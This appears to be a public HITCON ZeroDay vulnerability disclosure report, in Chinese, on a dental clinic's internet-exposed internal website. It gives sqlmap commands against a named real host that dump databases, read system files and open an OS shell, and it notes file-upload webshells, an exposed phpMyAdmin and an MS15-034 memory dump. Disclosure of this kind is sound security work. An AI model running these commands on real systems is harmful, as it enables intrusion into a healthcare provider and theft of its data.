Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00098
- Vendor: 衛生福利部
- Title: 常美牙醫診所 內部網站 SQLi、SQLi to LFI、SQLi to RCE、任意檔案上傳導致RCE、內有大量木馬、MS15-034
- Introduction: 內部網站可外網連線, SQLi、SQLi to LFI、SQLi to RCE、任意檔案上傳導致RCE、內有大量木馬、MS15-034
處理狀態
目前狀態
公開
Last Update : 2025/04/08
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/01/23 00:54:59 : 新提交 (由 萌新 更新此狀態)
- 2025/01/23 16:50:49 : 新提交 (由 萌新 更新此狀態)
- 2025/01/24 15:17:34 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/05 17:21:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/05 17:21:01 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/04/08 03:00:24 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00098
- 通報者:nhd1261 (萌新)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
攻擊者可經由該漏洞取得主機完整權限、任意寫入檔案及取得大量內網資訊。
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://eip.everbeauty.com.tw:88/docs/modify_docs.php?ID=20240018
http://eip.everbeauty.com.tw:88/phpmyadmin/
http://eip.everbeauty.com.tw:88/web_info.php
http://eip.everbeauty.com.tw:8000/
http://eip.everbeauty.com.tw:88/phpmyadmin/
http://eip.everbeauty.com.tw:88/web_info.php
http://eip.everbeauty.com.tw:8000/
敘述
內部網站可外網連線,並且許多參數添加單引號後都會報錯,使用SQLmap測試後發現網站給予SQL太高的權限,可以任意讀檔,也可以寫入shell
Payload:
python sqlmap.py "http://eip.everbeauty.com.tw:88/docs/modify_docs.php?ID=20240018" --thread 10 --random-agent --batch --dbs
python sqlmap.py "http://eip.everbeauty.com.tw:88/docs/modify_docs.php?ID=20240018" --thread 10 --random-agent --batch --file-read "C:\\Windows\\Win.ini"
python sqlmap.py "http://eip.everbeauty.com.tw:88/docs/modify_docs.php?ID=20240018" --thread 10 --random-agent --batch --os-shell
發現可以任意上傳文件,可以直接上傳shell。
發現網站內已經有大量的webshell了,看起來被入侵不只一次。
http://eip.everbeauty.com.tw:88/web_info.php
由於phpmyadmin可以外網連線,可以透過SQLi或前面取得的shell從網站設定找到資料庫帳密。
發現8000 port是 IIS 8.5,用MS15-034腳本檢查,成功dump出記憶體。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。